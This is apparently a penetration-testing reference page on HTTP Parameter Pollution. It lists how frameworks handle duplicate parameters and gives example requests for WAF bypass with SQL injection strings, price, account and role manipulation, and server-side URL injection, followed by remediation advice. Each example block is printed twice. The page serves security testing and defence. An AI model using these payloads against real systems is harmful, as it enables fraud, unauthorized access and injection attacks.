Exploitation A03

HTTP Parameter Pollution

HTTP Parameter Pollution (HPP) exploits differences in how web servers, application frameworks, and WAFs handle duplicate HTTP parameters. By supplying the same parameter multiple times, attackers can bypass security controls, manipulate application logic, and evade WAF detection.

Warning

HPP attacks target the parsing layer between components. Test against all entry points — GET, POST, and header parameters may behave differently.

How Frameworks Handle Duplicate Parameters

PHP/Apache: Uses LAST occurrence — ?id=1&id=2 → id=2

ASP.NET/IIS: Concatenates with comma — ?id=1&id=2 → id=1,2

Python (Flask): Uses FIRST occurrence — ?id=1&id=2 → id=1

Python (Django): Uses LAST occurrence — ?id=1&id=2 → id=2

Node.js (Express): Creates array — ?id=1&id=2 → id=[1,2]

Java (Tomcat): Uses FIRST occurrence — ?id=1&id=2 → id=1

Ruby (Rails): Uses LAST occurrence — ?id=1&id=2 → id=2

Go (net/http): Uses FIRST occurrence — ?id=1&id=2 → id=1

Tip

Key Insight: If the WAF reads the FIRST parameter but the application reads the LAST, the WAF sees benign input while the app processes malicious input. This mismatch is the core of HPP attacks.

WAF Bypass via HPP

bash
# Scenario: WAF blocks SQL injection in the 'id' parameter
# WAF checks FIRST parameter, PHP app uses LAST

# Blocked by WAF:
GET /page?id=1' OR 1=1--

# Bypass with HPP:
GET /page?id=1&id=1' OR 1=1--
# WAF sees id=1 (safe) → passes
# PHP sees id=1' OR 1=1-- (malicious) → SQL injection

# Another example with POST:
POST /transfer
Content-Type: application/x-www-form-urlencoded

amount=100&to=attacker&amount=999999
# WAF validates amount=100 (under limit)
# App processes amount=999999 (over limit)

# ASP.NET concatenation abuse:
GET /search?q=safe&q=' OR 1=1--
# ASP.NET sees: q=safe,' OR 1=1--
# The concatenated value bypasses simple pattern matching
# Scenario: WAF blocks SQL injection in the 'id' parameter
# WAF checks FIRST parameter, PHP app uses LAST

# Blocked by WAF:
GET /page?id=1' OR 1=1--

# Bypass with HPP:
GET /page?id=1&id=1' OR 1=1--
# WAF sees id=1 (safe) → passes
# PHP sees id=1' OR 1=1-- (malicious) → SQL injection

# Another example with POST:
POST /transfer
Content-Type: application/x-www-form-urlencoded

amount=100&to=attacker&amount=999999
# WAF validates amount=100 (under limit)
# App processes amount=999999 (over limit)

# ASP.NET concatenation abuse:
GET /search?q=safe&q=' OR 1=1--
# ASP.NET sees: q=safe,' OR 1=1--
# The concatenated value bypasses simple pattern matching

Business Logic Bypass

bash
# Override authorization checks:
POST /transfer
from_account=12345&to_account=67890&from_account=99999
# If app uses last value: transfers from account 99999
# even though the user only owns account 12345

# Price manipulation:
POST /checkout
price=100&item=widget&price=1
# App charges $1 instead of $100

# Access control bypass:
GET /api/users?role=user&role=admin
# If the app creates an array: role=[user, admin]
# Authorization check may see 'user' but grant 'admin' access

# Vote/rating manipulation:
POST /vote
post_id=123&vote=1&vote=1&vote=1&vote=1&vote=1
# Some apps count each parameter as a separate vote
# Override authorization checks:
POST /transfer
from_account=12345&to_account=67890&from_account=99999
# If app uses last value: transfers from account 99999
# even though the user only owns account 12345

# Price manipulation:
POST /checkout
price=100&item=widget&price=1
# App charges $1 instead of $100

# Access control bypass:
GET /api/users?role=user&role=admin
# If the app creates an array: role=[user, admin]
# Authorization check may see 'user' but grant 'admin' access

# Vote/rating manipulation:
POST /vote
post_id=123&vote=1&vote=1&vote=1&vote=1&vote=1
# Some apps count each parameter as a separate vote

Server-Side HPP

bash
# When the application constructs URLs server-side using user input:

# Application code (vulnerable):
# url = "https://api.payment.com/charge?" + 
#       "amount=" + user_amount + 
#       "&merchant=trusted_merchant"

# Attack: Include & in the amount parameter:
# user_amount = "1&merchant=attacker_merchant"
# Resulting URL:
# https://api.payment.com/charge?amount=1&merchant=attacker_merchant&merchant=trusted_merchant

# If the payment API uses the FIRST merchant parameter,
# the payment goes to the attacker

# Social media sharing HPP:
# Application builds share URL:
# https://social.com/share?url=USER_INPUT&title=Site+Title
#
# Attack: url=attacker.com&title=Click+Me&url=attacker.com
# Overrides the title with attacker-controlled content
# When the application constructs URLs server-side using user input:

# Application code (vulnerable):
# url = "https://api.payment.com/charge?" + 
#       "amount=" + user_amount + 
#       "&merchant=trusted_merchant"

# Attack: Include & in the amount parameter:
# user_amount = "1&merchant=attacker_merchant"
# Resulting URL:
# https://api.payment.com/charge?amount=1&merchant=attacker_merchant&merchant=trusted_merchant

# If the payment API uses the FIRST merchant parameter,
# the payment goes to the attacker

# Social media sharing HPP:
# Application builds share URL:
# https://social.com/share?url=USER_INPUT&title=Site+Title
#
# Attack: url=attacker.com&title=Click+Me&url=attacker.com
# Overrides the title with attacker-controlled content

Testing Methodology

  1. 1. Identify the backend technology (PHP, ASP.NET, Flask, Express, etc.)
  2. 2. Test duplicate parameters — which value does the app use? (first, last, array, concatenated)
  3. 3. Test WAF bypass by splitting injection payloads across duplicate params
  4. 4. Test business logic with conflicting duplicate parameter values
  5. 5. Test server-side HPP by including & in parameter values
  6. 6. Test both GET and POST parameters (may behave differently)
  7. 7. Test JSON body with duplicate keys: {"id":1,"id":2}

Evidence Collection

Request: HTTP request with duplicate parameters

Response Comparison: Show different behavior with single vs duplicate params

CVSS Range: WAF bypass: depends on underlying vuln | Logic bypass: 5.3–8.6

Remediation

  • Reject duplicate parameters: If the application expects a single value, reject requests with duplicates.
  • Consistent parsing: Ensure WAF and application use the same parameter parsing logic.
  • Validate on the server: Validate and sanitize all parameters after the framework parses them.
  • URL-encode user input: When constructing URLs server-side, URL-encode all user values to prevent & injection.

False Positive Identification

  • Duplicate param handling by design: Some applications intentionally accept arrays via duplicate parameters (e.g., ?tag=js&tag=python) — verify the duplicate changes behavior maliciously, not just handled normally.
  • Server vs. framework behavior: Different servers handle duplicate params differently (first wins vs. last wins vs. array) — check the specific tech stack's documented behavior.
  • WAF bypass without backend impact: Successfully bypassing the WAF via HPP is only relevant if the backend actually processes the polluted parameter in a harmful way.